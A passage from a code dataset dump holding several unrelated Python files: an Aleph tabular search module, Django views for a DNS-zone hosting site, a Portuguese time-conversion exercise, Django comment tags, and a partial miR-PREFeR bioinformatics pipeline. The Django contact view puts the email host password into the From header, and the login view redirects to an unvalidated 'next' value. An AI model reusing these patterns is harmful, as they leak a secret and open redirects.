aleph.core import es, es_index, url_for\nfrom aleph.util import latinize_text\nfrom aleph.search.common import add_filter\n\n\ndef tabular_query(document_id, sheet, args):\n scored = False\n q = {\n 'match_all': {}\n }\n\n text = args.get('q', '').strip()\n if len(text):\n scored = True\n text_latin = latinize_text(text)\n q = {\n \"bool\": {\n \"should\": {\n \"match\": {\n \"text\": {\n \"query\": text,\n \"cutoff_frequency\": 0.0007,\n \"operator\": \"and\"\n }\n }\n },\n \"should\": {\n \"match\": {\n \"text_latin\": {\n \"query\": text_latin,\n \"cutoff_frequency\": 0.0007,\n \"operator\": \"and\"\n }\n }\n }\n }\n }\n\n try:\n rows = [int(r) for r in args.getlist('row')]\n except Exception:\n rows = []\n\n if len(rows):\n scored = True\n q = {\n \"bool\": {\n \"must\": q,\n \"should\": {\n \"constant_score\": {\n \"filter\": {'terms': {'row_id': rows}},\n \"boost\": 1000\n }\n }\n }\n }\n\n q = add_filter(q, {'term': {'document_id': document_id}})\n q = add_filter(q, {'term': {'sheet': sheet}})\n\n # from pprint import pprint\n # pprint(q)\n\n sort = [{'row_id': 'asc'}]\n if scored:\n sort.insert(0, '_score')\n return {\n 'from': 0,\n 'size': 100,\n 'query': q,\n 'sort': sort,\n '_source': ['document_id', 'sheet', 'row_id', 'raw']\n }\n\n\ndef execute_tabular_query(document_id, table_id, args, query):\n \"\"\" Execute a query against records and return a set of results. \"\"\"\n result = es.search(index=es_index, doc_type=TYPE_RECORD, body=query)\n hits = result.get('hits', {})\n output = {\n 'status': 'ok',\n 'results': [],\n 'offset': query['from'],\n 'limit': query['size'],\n 'total': hits.get('total'),\n 'next': None\n }\n next_offset = output['offset'] + output['limit']\n if output['total'] > next_offset:\n params = {'offset': next_offset}\n for k, v in args.iterlists():\n if k in ['offset']:\n continue\n params[k] = v\n output['next'] = url_for('table.rows',\n document_id=document_id,\n table_id=table_id,\n **params)\n\n for rec in hits.get('hits', []):\n record = rec.get('_source').get('raw')\n record['_id'] = rec.get('_source', {}).get('row_id')\n output['results'].append(record)\n return output\n","sub_path":"aleph/search/tabular.py","file_name":"tabular.py","file_ext":"py","file_size_in_byte":3004,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"616036266","text":"from mybindweb import mbforms, models\r\nfrom django import forms\r\nfrom django.forms import formsets\r\nfrom django.shortcuts import render_to_response\r\nfrom django.http import HttpResponseRedirect\r\nfrom django.contrib.auth.decorators import login_required\r\nfrom django.contrib import auth\r\nfrom django.conf import settings\r\nfrom django.db.models import Q\r\nfrom datetime import datetime\r\nfrom django.core.mail import EmailMessage\r\n\r\ndef offline(req):\r\n return render_to_response('offline.html')\r\n\r\n# maps a user to a customer (is it safe to use pk?)\r\ndef get_customer(req):\r\n matches = models.Customer.objects.filter(id=req.user.id)\r\n if len(matches) == 0:\r\n raise Exception('Logged in user is not a customer.')\r\n else:\r\n return matches[0]\r\n\r\ndef index(req):\r\n if req.method == 'POST':\r\n form = mbforms.StartRegisterForm(req.POST)\r\n if form.is_valid():\r\n username = form.cleaned_data['username']\r\n models.Customer.start_verify(username)\r\n return HttpResponseRedirect(\r\n '/register/started/%s/' % username)\r\n else:\r\n form = mbforms.StartRegisterForm()\r\n \r\n return render_to_response('index.html', locals())\r\n\r\ndef help(req):\r\n return render_to_response('help.html', locals())\r\n\r\ndef contact(req):\r\n if req.method == 'POST':\r\n form = mbforms.ContactForm(req.POST)\r\n if form.is_valid():\r\n from_email = 'MyBind <%s>' % settings.EMAIL_HOST_PASSWORD\r\n reply_to = '%s <%s>' % (form.cleaned_data['name'],\r\n form.cleaned_data['email'])\r\n \r\n email = EmailMessage(\r\n 'Contact form',\r\n form.cleaned_data['message'],\r\n from_email,\r\n [settings.CONTACT_FORM],\r\n headers = {'Reply-To': reply_to})\r\n\r\n email.send(fail_silently=False)\r\n \r\n thanks = True\r\n else:\r\n form = mbforms.ContactForm()\r\n\r\n return render_to_response('contact.html', locals())\r\n\r\ndef login(req):\r\n if req.method == 'POST':\r\n form = mbforms.LoginForm(req.POST, request=req)\r\n if form.is_valid(): # attempt auth\r\n form.save() # performs login\r\n \r\n customer = get_customer(req)\r\n customer.last_login_ip = req.META['REMOTE_ADDR']\r\n customer.save()\r\n \r\n return HttpResponseRedirect(req.POST['next'])\r\n else:\r\n if req.GET.has_key('next'):\r\n next = req.GET['next']\r\n else:\r\n next = '/account/'\r\n form = mbforms.LoginForm(request=req)\r\n \r\n return render_to_response('login.html', locals())\r\n\r\ndef register_started(req, email):\r\n if not settings.LIVE:\r\n test_verify = models.CustomerVerify.objects.get(customer__username=email)\r\n return render_to_response('register/started.html', locals())\r\n\r\ndef register_verify(req, auth_code):\r\n verify = models.CustomerVerify.objects.get(auth_code=auth_code)\r\n customer = auth.authenticate(customer=verify.customer)\r\n auth.login(req, verify.customer)\r\n return HttpResponseRedirect('/register/form/')\r\n\r\ndef about(req):\r\n return render_to_response('about.html', locals())\r\n\r\n@login_required\r\ndef logout(req):\r\n auth.logout(req)\r\n return render_to_response('logout.html', locals())\r\n\r\n@login_required\r\ndef account_index(req):\r\n show_admin_url = get_customer(req).is_superuser\r\n return render_to_response('account/index.html', locals())\r\n\r\ndef get_survey_formset_filled(survey, sub):\r\n \r\n questions = models.SurveyQuestion.objects.filter(\r\n survey=survey, visible=True)\r\n \r\n if len(questions) == 0:\r\n raise Exception(\r\n 'No questions found for survey with ID: %i' % survey.id)\r\n\r\n SurveyFormset = mbforms.get_survey_formset(extra=len(questions))\r\n \r\n formset = SurveyFormset(instance=sub)\r\n for i in range(0, len(formset.forms)):\r\n ans = models.SurveyAnswer(question=questions[i])\r\n formset.forms[i] = mbforms.SurveyAnswerForm(\r\n prefix='surveyanswer_set-%i' % i, instance=ans)\r\n \r\n return formset\r\n\r\n@login_required\r\ndef register_form(req):\r\n \r\n customer = get_customer(req)\r\n \r\n survey = models.Survey.objects.get(name='Register')\r\n SurveyFormset = mbforms.get_survey_formset()\r\n sub = models.SurveySub(\r\n customer=customer,\r\n date=datetime.now(),\r\n survey=survey)\r\n \r\n if req.method == 'POST':\r\n form = mbforms.MainRegisterForm(req.POST, instance=customer)\r\n sur_formset = SurveyFormset(req.POST, instance=sub)\r\n \r\n if form.is_valid() and sur_formset.is_valid():\r\n \r\n verify = models.CustomerVerify.objects.get(customer=customer)\r\n verify.auth_status = 1\r\n verify.save()\r\n \r\n form.instance.register_complete = True\r\n form.save()\r\n \r\n # we need to save the sub (survey submission) first, so that\r\n # the answers in the formset has a sub id to use\r\n sub.save()\r\n sur_formset.save()\r\n \r\n return HttpResponseRedirect('/register/done/')\r\n else:\r\n form = mbforms.MainRegisterForm(instance=get_customer(req))\r\n \r\n sur_formset = get_survey_formset_filled(survey, sub)\r\n \r\n return render_to_response('register/form.html', locals())\r\n\r\n@login_required\r\ndef register_done(req):\r\n return render_to_response('register/done.html', locals())\r\n \r\n@login_required\r\ndef zones_index(req):\r\n \r\n show_deleted = False\r\n if req.GET.has_key('show_deleted'):\r\n show_deleted = True\r\n \r\n deleted_q = Q(deleted=show_deleted) | Q(deleted=False)\r\n \r\n if get_customer(req).is_superuser:\r\n # superusers can see all zones\r\n zones = models.DnsZone.objects.filter(deleted_q)\r\n else:\r\n zones = models.DnsZone.objects.filter(\r\n Q(owner=get_customer(req)), deleted_q)\r\n \r\n return render_to_response('zones/index.html', locals())\r\n\r\n# note: don't set delete here, this is done via the sync service\r\n@login_required\r\ndef zones_delete(req, zone_id):\r\n if get_customer(req).is_superuser:\r\n zone = models.DnsZone.objects.get(pk=zone_id)\r\n else:\r\n zone = models.DnsZone.objects.get(pk=zone_id, owner=get_customer(req))\r\n \r\n # user may want to abort delete sync or undo a delete\r\n if req.GET.has_key('undo'):\r\n if zone.sync_cmd == 'DP':\r\n zone.set_ok()\r\n else:\r\n zone.set_sync('CP')\r\n \r\n else:\r\n if zone.deleted:\r\n raise Exception('Zone is already deleted.')\r\n \r\n if zone.sync_cmd == 'CP':\r\n # it's ok to set delete here, since it hasn't yet been created\r\n zone.deleted = True\r\n zone.sync_state = 'OK'\r\n else:\r\n # only set to delete pending if already created\r\n zone.set_sync('DP')\r\n \r\n zone.save()\r\n \r\n if req.META.has_key('HTTP_REFERER'):\r\n return HttpResponseRedirect(req.META['HTTP_REFERER'])\r\n else:\r\n return HttpResponseRedirect('/zones/')\r\n\r\n@login_required\r\ndef zones_new(req):\r\n zone = models.DnsZone(owner=get_customer(req))\r\n zone.set_sync('CP')\r\n return zones_modify(req, zone)\r\n\r\n@login_required\r\ndef zones_edit(req, zone_id):\r\n if req.method == 'GET':\r\n # on initial view, only show as many forms as there is records\r\n DnsRecordFormset = mbforms.get_dnszone_formset(extra=0)\r\n else:\r\n DnsRecordFormset = mbforms.get_dnszone_formset()\r\n\r\n if get_customer(req).is_superuser:\r\n zone = models.DnsZone.objects.get(pk=zone_id)\r\n else:\r\n zone = models.DnsZone.objects.get(pk=zone_id, owner=get_customer(req))\r\n \r\n if not zone.can_edit():\r\n raise Exception('Cannot edit when deleted or delete pending.')\r\n \r\n # change to \"update pending\" only if last sync was ok\r\n zone.set_sync('UP')\r\n \r\n return zones_modify(req, zone, DnsRecordFormset)\r\n\r\n@login_required\r\ndef zones_modify(req, zone, DnsRecordFormset=mbforms.get_dnszone_formset()):\r\n if req.method == 'POST':\r\n zone_form = mbforms.DnsZoneForm(req.POST, instance=zone)\r\n rec_formset = DnsRecordFormset(req.POST, instance=zone)\r\n \r\n if zone_form.is_valid() and rec_formset.is_valid():\r\n zone_form.save()\r\n rec_formset.save()\r\n \r\n return HttpResponseRedirect('/zones/')\r\n else:\r\n zone_form = mbforms.DnsZoneForm(instance=zone)\r\n rec_formset = DnsRecordFormset(instance=zone)\r\n \r\n return render_to_response('zones/edit.html', locals())\r\n","sub_path":"legacy/mybindweb/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":8736,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"8039877","text":"''' 25. Faça um programa que receba uma hora (uma variável para hora e outra para minutos), calcule e mostre: \r\n a) a hora digitada convertida em minutos; \r\n b) o total dos minutos, ou seja, os minutos digitados mais a conversão anterior;\r\n c) o total dos minutos convertidos em segundos. '''\r\n\r\nhoras = int(input('Digite a quantidade de horas: '))\r\nminutos = int(input('Digite a quantidade de minutos: '))\r\n\r\nhoras_em_minutos = horas*60\r\nprint('Conversão de horas em minutos: %dmin' % horas_em_minutos)\r\n\r\nminutos = horas_em_minutos+minutos\r\nprint('Total em Minutos: %dmin' % minutos)\r\n\r\ntotal_segundos = minutos*60\r\nprint('Total de segundos: %ds' % total_segundos)\r\n","sub_path":"Capítulo03/questao25.py","file_name":"questao25.py","file_ext":"py","file_size_in_byte":693,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"397619886","text":"# # C:\\Users\\12482\\Desktop\\py_learn\\Django2.0_chapter46\\mysite_env\\mysite\\comment\\templatetags\\comment_tags.py\r\nfrom django import template\r\nfrom django.contrib.contenttypes.models import ContentType\r\nfrom comment.models import Comment # 或from ..models import Comment\r\nfrom comment.forms import CommentForm # 或from ..forms import CommentForm\r\n\r\n\r\nregister= template.Library()\t# 用于注册\r\n\r\n@register.simple_tag # 将这个方法注册为simple_tag\r\ndef get_comment_count(obj): # 传入obj这个对象,这个对象可以是任意类型。这里我们现在使用的是blog类型\r\n\tcontent_type = ContentType.objects.get_for_model(obj)\r\n\treturn Comment.objects.filter(content_type=content_type, object_id=obj.pk).count() \r\n\r\n@register.simple_tag\r\ndef get_comment_form(obj):\r\n\tcontent_type = ContentType.objects.get_for_model(obj)\r\n\tform = CommentForm(initial={\r\n\t\t'content_type': content_type.model, # 取出的content_type是一个对象,加.model取出类型的字符串\r\n\t\t'object_id': obj.pk, \r\n\t\t'reply_comment_id': 0})\r\n\treturn form\r\n\r\n@register.simple_tag\r\ndef get_comment_list(obj):\r\n\tcontent_type = ContentType.objects.get_for_model(obj)\r\n\tcomments = Comment.objects.filter(content_type=content_type, object_id=obj.pk, parent=None)\r\n\treturn comments.order_by('-comment_time')","sub_path":"comment/templatetags/comment_tags.py","file_name":"comment_tags.py","file_ext":"py","file_size_in_byte":1295,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"138528517","text":"import sys\nimport os.path\nimport multiprocessing\nimport Queue\nimport cPickle\nimport time\nimport re\nimport imp\nimport subprocess\nimport os\nimport distutils.spawn\nimport tempfile\nimport string\nimport gc\nimport logging\nimport shutil\n\ndict_failure_reasons = {1: \"Structure is not stemloop\",\n 2: \"Mature-star duplex has too many bugles/interior loops\",\n 3: \"Mature-star duplex has large bugles/interior loops\",\n 4: \"Star sequence not expression in the RNA-seq data\",\n 5: \"Expression pattern not good\"\n}\n\ndef parse_option():\n import argparse\n helpstr = \"\"\" check = Check the dependency and the config file only (default).\n prepare = Prepare data.\n candidate = Generate candidate regions.\n fold = Fold the candidate regions.\n predict = Predict miRNAs.\n pipeline = Run the whole pipeline. This is the same as running 'check', 'prepare', 'candidate', 'fold', 'predict' sequentially.\n recover = Recover a unfinished job. By default, miR-PREFeR makes checkpoint of the results of each stage. Thus, an unfinished job can be started from where it was checkpointed to save time.\n \"\"\"\n\n parser = argparse.ArgumentParser(formatter_class=argparse.RawTextHelpFormatter)\n parser.add_argument(\"action\",\n choices=('check','prepare','candidate','fold','predict','pipeline', 'recover'),\n default = 'check', help = helpstr)\n parser.add_argument(\"configfile\",\n help=\" Configure file.\")\n args = parser.parse_args()\n action = args.action\n configfile = args.configfile\n\n dict_option = parse_configfile(configfile)\n dict_option['ACTION'] = action\n return dict_option\n\ndef parse_option_optparse():\n from optparse import OptionParser\n helpstr = \"\"\"python mir_PREFeR.py [options] command configfile\n\ncommand could be one of the following:\n check = Check the dependency and the config file only (default).\n prepare = Prepare data.\n candidate = Generate candidate regions.\n fold = Fold the candidate regions.\n predict = Predict miRNAs.\n pipeline = Run the whole pipeline. This is the same as running 'check', 'prepare', 'candidate', 'fold', and 'predict' sequentially.\n recover = Recover a unfinished job. By default, miR-PREFeR makes checkpoint of the results of each stage. Thus, an unfinished job can be started from where it was checkpointed to save time.\n\nconfigfile: configuration file\"\"\"\n\n parser = OptionParser(helpstr)\n parser.add_option(\"-l\", \"--log\", action=\"store_true\", dest=\"log\",\n help=\"Generate a log file.\")\n parser.add_option(\"-k\", \"--keep-tmp\", action=\"store_true\", dest=\"keeptmp\",\n help=\"After finish the whole pipeline, do not remove the temporary folder that contains the intermidate files.\")\n actions = ['check','prepare','candidate','fold', 'predict', 'pipeline', 'recover']\n (options, args) = parser.parse_args()\n if len(args) != 2:\n parser.error(\"incorrect number of arguments. Run the script with -h option to see help.\")\n if args[0] not in actions:\n parser.error(\"unknow command\")\n dict_option = parse_configfile(args[1])\n dict_option['ACTION'] = args[0]\n dict_option[\"LOG\"] = options.log\n dict_option[\"KEEPTMP\"] = options.keeptmp\n return dict_option\n\ndef parse_configfile(configfile):\n if not os.path.exists(configfile):\n sys.stderr.write(\"Configuration file \" + configfile + \" does not exist!!\\n\")\n sys.exit(-1)\n dict_option = {\n \"CONFIG_FILE\":configfile,\n \"FASTA_FILE\":\"\",\n \"ALIGNMENT_FILE\":[],\n \"GFF_FILE\":\"\",\n \"PRECURSOR_LEN\":300,\n \"READS_DEPTH_CUTOFF\":20,\n \"MAX_GAP\":100,\n \"NUM_OF_CORE\":1,\n \"OUTFOLDER\":\"./\",\n \"NAME_PREFIX\":\"\",\n \"PIPELINE_PATH\":\"\",\n \"ONLY_SEQ\":[],\n \"DELETE_IF_SUCCESS\":\"Y\"\n }\n with open(configfile) as f:\n for line in f:\n if line.startswith(\"#\"):\n continue\n if not line.strip():\n continue\n sp = line.strip().split(\"=\")\n if len(sp)>1 and sp[1]:\n key = sp[0].strip()\n if key == \"ALIGNMENT_FILE\":\n names = sp[1].split(\",\")\n for name in names:\n if not os.path.exists(name.strip()):\n sys.stderr.write(\"File \" + name.strip() +\n \" does not exist!!\\n\")\n sys.exit(-1)\n dict_option[key].append(name.strip())\n continue\n if key == \"ONLY_SEQ\":\n names = sp[1].split(\",\")\n for name in names:\n dict_option[key].append(name.strip())\n if key == \"GFF_FILE\" or key == \"FASTA_FILE\":\n if not os.path.exists(sp[1].strip()):\n sys.stderr.write(\"File \" + sp[1].strip() +\n \" does not exist!!\\n\")\n sys.exit(-1)\n dict_option[key] = sp[1].strip()\n continue\n if key == \"NUM_OF_CORE\":\n cpucount = multiprocessing.cpu_count()\n cpu_to_use = int(sp[1].strip())\n if cpucount < cpu_to_use:\n sys.stderr.write(\n \"Warnning: NUM_OF_CORE is larger than CPUS/Cores on\" +\n \" the machine. Use \"+str(cpucount)+\" instead.\\n\")\n cpu_to_use = cpucount\n dict_option[key] = cpu_to_use\n continue\n if key == \"PRECURSOR_LEN\" or key == \"READS_DEPTH_CUTOFF\" or key == 'MAX_GAP':\n dict_option[key] = int(sp[1].strip())\n continue\n if key ==\"OUTFOLDER\" or key == \"NAME_PREFIX\" or key == \"DELETE_IF_SUCCESS\":\n dict_option[key] = sp[1].strip()\n continue\n if key == \"PIPELINE_PATH\":\n if not os.path.exists(sp[1].strip()):\n sys.stderr.write(\"miR-PREFeR path \" + sp[1].strip() +\n \" does not exist!!\\n\")\n sys.exit(-1)\n dict_option[key] = sp[1].strip()\n continue\n return dict_option\n\n\ndef get_current_local_time():\n return time.strftime(\"%a, %d %b %Y %H:%M:%S\", time.localtime())\n\n\ndef write_formatted_string(message, leftpad_len, f, padchar=\"\"):\n outstr = \"{0:\"+padchar+\"<\"+str(leftpad_len)+\"}\"+message\n f.write(outstr.format(\"\"))\n f.write(\"\\n\")\n f.flush()\n\n\ndef write_formatted_string_withtime(message, leftpad_len, f, padchar=\"\"):\n t = get_current_local_time()\n outstr = \"{0:\"+padchar+\"<\"+str(leftpad_len)+\"}\"+message\n f.write(outstr.format(t))\n f.write(\"\\n\")\n f.flush()\n\n\ndef write_gff_line(seqid, start, end, strand, ID, name, score=\".\", source=\"miR-PREFeR\",\n feature=\"miRNA\", frame=\".\", other = \"\", fout=sys.stdout):\n '''\n Write a gff line to fout.\n The line is:\n seqid source feature start end score strand frame ID=id;NAME=name;Other=other\n '''\n outstr = \"\\t\".join([seqid, source, feature, str(start), str(end), str(score),\n strand, frame, \"ID=\"+ID+\";NAME=\"+name+\";Other=\"+str(other)])\n fout.write(outstr)\n fout.write(\"\\n\")\n\n\ndef get_complement(seq):\n #TODO if the sequence contains other characters, i.e. IUPAC?\n trans_table = string.maketrans(\"ATGCU\",\"UACGA\")\n return seq.translate(trans_table)\n\n\ndef get_reverse_complement(seq):\n return get_complement(seq)[::-1]\n\n\ndef compute_RPKM(transcript_len, reads_in_transcript, reads_total):\n return float(reads_in_transcript)*1000000000/(reads_total * transcript_len)\n\n\ndef check_Bowtie():\n ret = distutils.spawn.find_executable(\"bowtie\")\n if ret:\n return True\n else:\n return False\n\n\ndef check_samtools():\n ret = distutils.spawn.find_executable(\"samtools\")\n if ret:\n return True\n else:\n return False\n\n\ndef check_RNALfold():\n ret = distutils.spawn.find_executable(\"RNALfold\")\n if ret:\n return True\n else:\n return False\n\ndef get_RNALfold_version():\n command = \"RNALfold -V\"\n try:\n check_process = subprocess.Popen(command.split(), stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n outmessage, outerr = check_process.communicate()\n except Exception as e:\n return \"UnknowVersion\"\n if outmessage == \"\":\n return \"UnknowVersion\"\n else:\n return str(outmessage).strip()\n\ndef is_bug_RNALfold(version):\n '''\n RNALfold in Vienna 2.0.4 has a bug: when the input sequence has no valid\n secondary structure, it produces a segmentation fault and can not continue.\n '''\n if version.strip() == \"RNALfold 2.0.4\":\n return True\n return False\n\ndef get_length_from_sam(samfile):\n dict_len = {}\n with open(samfile) as f:\n for line in f:\n if line.startswith(\"@\"):\n if line.startswith(\"@SQ\"):\n sp = line.split()\n dict_len[sp[1].split(\":\")[1]] = int(sp[2].split(\":\")[1])\n else:\n return dict_len\n\n\ndef index_genome(fastaname):\n '''\n Run 'samtools faidx fastafile' command to index the genome fasta file.\n '''\n command = \"samtools faidx \"+fastaname\n try:\n subprocess.check_call(command.split())\n except Exception as e:\n sys.stderr.write(e)\n sys.stderr.write(\"Error occurred when indexing the genome file\\n\")\n sys.exit(-1)\n\n\ndef gen_keep_regions_from_gff(gffname, tmpdir, dict_len, minlen):\n '''\n Generate a BED format file which contains all the regions that are not\n overlap with the regions of the features in the gff file.\n\n Note that gff file is 0 based, and the ending position is inclusive. BED\n file is 1 based, and the ending position is exclusive.\n '''\n def overlap(r1, r2):\n '''\n If r1 and r2 overlaps, return the combined region, else, return None.\n '''\n if r1[1] < r2[0] or r1[0] > r2[1]:\n return None\n else:\n return (min(r1[0],r2[0]), max(r1[1],r2[1]))\n\n #sort the gff file\n tempgffname = os.path.join(tmpdir, \"temp.remove.gff\")\n tempbedname = os.path.join(tmpdir, \"temp.keepregion.bed\")\n command = \"sort -k1,1 -k4,4n \" + gffname + \" -o \" + tempgffname\n try:\n subprocess.check_call(command.split())\n except Exception as e:\n sys.stderr.write(e)\n sys.stderr.write(\"Error occurred when sorting the gff file\\n\")\n sys.exit(-1)\n foutput = open(tempbedname, 'w')\n seqids = dict_len.keys()\n with open(tempgffname) as f:\n seqid = \"NOTKNOW\"\n region = None\n for line in f:\n if line.startswith(\"#\"):\n continue\n sp = line.split()\n if sp[0] not in seqids:\n continue\n cur_seqid = sp[0]\n if cur_seqid != seqid:\n if seqid != \"NOTKNOW\":\n if dict_len[seqid] - region[1] >= minlen:\n foutput.write(seqid+\"\\t\"+str(region[1]+1)+\"\\t\"+str(dict_len[seqid])+\"\\n\")\n if int(sp[3]) >=minlen:\n foutput.write(cur_seqid+\"\\t1\"+\"\\t\"+sp[3]+\"\\n\")\n seqid = cur_seqid\n region = (int(sp[3]), int(sp[4]))\n else:\n ret = overlap(region, (int(sp[3]), int(sp[4])))\n if ret:\n region = ret\n else:\n if int(sp[3])-region[1] >=minlen:\n foutput.write(cur_seqid+\"\\t\"+str(region[1]+1)+\"\\t\"+sp[3]+\"\\n\")\n region = (int(sp[3]), int(sp[4]))\n seqid = cur_seqid\n #write the last one\n if dict_len[seqid] - region[1] >= minlen:\n foutput.write(seqid+\"\\t\"+str(region[1]+1)+\"\\t\"+str(dict_len[seqid])+\"\\n\")\n foutput.close()\n return tempbedname\n\n\ndef sam2bam(samfile, bamfile):\n command = \"samtools view -bS -o\" + bamfile + \" \" + samfile\n try:\n subprocess.check_call(command.split())\n except Exception as e:\n sys.stderr.write(e)\n sys.stderr.write(\"Error occurred when converting SAM to BAM\\n\")\n sys.exit(-1)\n\n\ndef combine_bamfiles(headersamfile, outbamfile, *bamfiles):\n '''\n Combine BAM files sample as one file.\n '''\n command = \"samtools cat -h \" + headersamfile + \" -o \" + outbamfile\n for bamname in bamfiles:\n command = command + \" \"+bamname\n try:\n subprocess.check_call(command.split())\n except Exception as e:\n sys.stderr.write(e)\n sys.stderr.write(\"Error occurred when combining BAM files\\n\")\n sys.exit(-1)\n return outbamfile\n\n\ndef gen_keep_regions_sort_bam(bamfile, bedfile, outbamprefix):\n '''\n Only keep alignments that overlap with the regions specified in the BED\n file, and then sort the bam file.\n\n To achieve this, the following samtools command can be used:\n samtools view -L bedfile -F 4 bamfile -b -o outbamfile\n '''\n #TODO samtools view generate reads overlap with the region, not only reads\n #in the region. Should this be a problem here??\n command1 = \"samtools view -L \" + bedfile + \" -F 4 -b -o \" + outbamprefix+\".bam\" + \" \" +bamfile\n command2 = \"samtools sort \"+ outbamprefix+\".bam \" + outbamprefix + \".sort\"\n command3 = \"samtools index \" + outbamprefix+\".sort.bam\"\n try:\n subprocess.check_call(command1.split())\n subprocess.check_call(command2.split())\n subprocess.check_call(command3.split())\n except Exception as e:\n sys.stderr.write(e)\n sys.stderr.write(\"Error occurred when filtering regions and sorting the BAM file\\n\")\n sys.exit(-1)\n return outbamprefix+\".sort.bam\"\n\ndef sort_index_bam(bamfile, outbamprefix):\n command2 = \"samtools sort \"+ bamfile + \" \" + outbamprefix + \".sort\"\n command3 = \"samtools index \" + outbamprefix+\".sort.bam\"\n try:\n subprocess.check_call(command2.split())\n subprocess.check_call(command3.split())\n except Exception as e:\n sys.stderr.write(e)\n sys.stderr.write(\"Error occurred when filtering regions and sorting the BAM file\\n\")\n sys.exit(-1)\n return outbamprefix+\".sort.bam\"\n\n\ndef expand_bamfile(bamfile, maxdepth, outputbamfile, outputsamfile):\n tempsamfile = tempfile.NamedTemporaryFile(mode='w',prefix = str(os.getpid())+\"tempsam\", suffix=\".sam\", delete=False)\n command = \"samtools view -h -o \" + tempsamfile.name + \" \" + bamfile\n try:\n subprocess.check_call(command.split())\n except Exception as e:\n sys.stderr.write(e)\n sys.stderr.write(\"Error occurred when converting BAM to SAM\\n\")\n sys.exit(-1)\n tempsamfile.close()\n outf = open(outputsamfile, 'w')\n with open(tempsamfile.name) as f:\n for line in f:\n if line.startswith(\"@\"):\n outf.write(line)\n continue\n sp = line.split()\n depth = int(sp[0].split(\"-\")[-1])\n if depth > maxdepth:\n depth = maxdepth\n for i in xrange(depth):\n outf.write(line)\n outf.close()\n command = \"samtools view -bS -o\" + outputbamfile + \" \" + outputsamfile\n try:\n subprocess.check_call(command.split())\n except Exception as e:\n sys.stderr.write(e)\n sys.stderr.write(\"Error occurred when converting SAM to BAM\\n\")\n sys.exit(-1)\n return outputbamfile, outputsamfile\n\n\ndef index_bam(bamfile, outindexfile):\n command = \"samtools index \" + bamfile + \" \"+outindexfile\n try:\n subprocess.check_call(command.split())\n except Exception as e:\n sys.stderr.write(e)\n sys.stderr.write(\"Error occurred when indexing the BAM file\\n\")\n sys.exit(-1)\n return outindexfile\n\n\ndef filter_bam_by_flag(bamfile, flag, outbamname, keep=True):\n keepflag = \" -F \" + str(flag)\n if keep:\n keepflag = \" -f \" + str(flag)\n command = \"samtools view -b \"+keepflag + \" -o \" +outbamname + \" \" + bamfile\n try:\n subprocess.check_call(command.split())\n except Exception as e:\n sys.stderr.write(e)\n sys.stderr.write(\"Error occurred when filtering BAM file using flags.\\n\")\n sys.exit(-1)\n return outbamname\n\n\ndef prepare_data(dict_option, outtempfolder, logger):\n\n if logger:\n logger.info(\"Getting genomic sequence lengths.\")\n #get the length of all the genomic sequences in the fasta/alignment files\n dict_len = get_length_from_sam(dict_option[\"ALIGNMENT_FILE\"][0])\n\n #if the fasta file is not index, then create a index\n if not os.path.exists(dict_option[\"FASTA_FILE\"]): #index the genome\n index_command = \"samtools faidx \" + dict_option[\"FASTA_FILE\"]\n try:\n subprocess.check_call(index_command.split())\n except Exception as e:\n if logger:\n logger.error(\"Error occurred when indexing the genome file. \"+\n \"Command: \"+index_command)\n sys.stderr.write(e)\n sys.stderr.write(\"Error occurred when indexing the genome file\\n\")\n sys.exit(-1)\n\n #convert the SAM files(generated by Bowtie) to BAM files\n if logger:\n logger.info(\"Converting SAM files to BAM files using samtools.\")\n bamfiles = []\n for samname in dict_option[\"ALIGNMENT_FILE\"]:\n if logger:\n logger.info(\"Converting \"+samname)\n bamname = os.path.join(outtempfolder, os.path.basename(samname)+\".bam\")\n sam2bam(samname, bamname)\n bamfiles.append(bamname)\n\n combinedbamname = os.path.join(outtempfolder, \"combined.bam\")\n if len(bamfiles) > 1:\n #combine multiple BAM files from multiple sample together\n if logger:\n logger.info(\"Combining multiple BAM files from multiple samples together.\")\n combine_bamfiles(dict_option[\"ALIGNMENT_FILE\"][0], combinedbamname, *bamfiles)\n else:\n shutil.copyfile(bamfiles[0], combinedbamname)\n\n #removing reads that are overlapped with features in the gff file, if provided.\n if os.path.exists(dict_option[\"GFF_FILE\"]):\n #TODO: minlen should be user adjustable, not fix here.\n tempkeepregion = gen_keep_regions_from_gff(dict_option[\"GFF_FILE\"], outtempfolder, dict_len, 60)\n if logger:\n logger.info(\"Removing reads that are overlapped with features in the gff file.\")\n combinedbamname = gen_keep_regions_sort_bam(combinedbamname, tempkeepregion, os.path.join(outtempfolder,\"combined.filtered\"))\n else:\n combinedbamname = sort_index_bam(combinedbamname, os.path.join(outtempfolder,\"combined.filtered\"))\n\n expandedsamname = os.path.join(outtempfolder, \"expanded.sam\")\n expandedbamname = os.path.join(outtempfolder, \"expanded.bam\")\n expandedbam_plus = os.path.join(outtempfolder, \"expanded.plus.bam\")\n expandedbam_minus = os.path.join(outtempfolder, \"expanded.minus.bam\")\n if logger:\n logger.info(\"Generating expanded BAM and SAM files\")\n expand_bamfile(combinedbamname, dict_option[\"READS_DEPTH_CUTOFF\"], expandedbamname, expandedsamname)\n if logger:\n logger.info(\"Generating \"+expandedbam_plus)\n filter_bam_by_flag(expandedbamname, 16, expandedbam_plus, keep=False)\n if logger:\n logger.info(\"Generating \"+expandedbam_minus)\n filter_bam_by_flag(expandedbamname, 16, expandedbam_minus, keep=True)\n return combinedbamname, expandedsamname, expandedbamname, expandedbam_plus, expandedbam_minus\n\n\ndef gen_contig_typeA(expandedbam_plus, expandedbam_minus, dict_option,\n contig_minlen, logger):\n def get_next_non_zero_region(name):\n with open(name) as f:\n region = []\n line = f.readline()\n sp = line.split()\n seperate_depth = [int(x) for x in sp[2:]]\n depth = sum(seperate_depth)\n pre_seqid = sp[0]\n pre_pos = int(sp[1])\n start_pos = int(sp[1])\n\n plus_depth = seperate_depth[0]\n minus_depth = seperate_depth[1]\n\n for line in f:\n sp = line.split()\n cur_seqid = sp[0]\n pos = int(sp[1])\n seperate_depth = [int(x) for x in sp[2:]]\n depth = sum(seperate_depth)\n\n if cur_seqid != pre_seqid:\n if plus_depth > minus_depth:\n yield 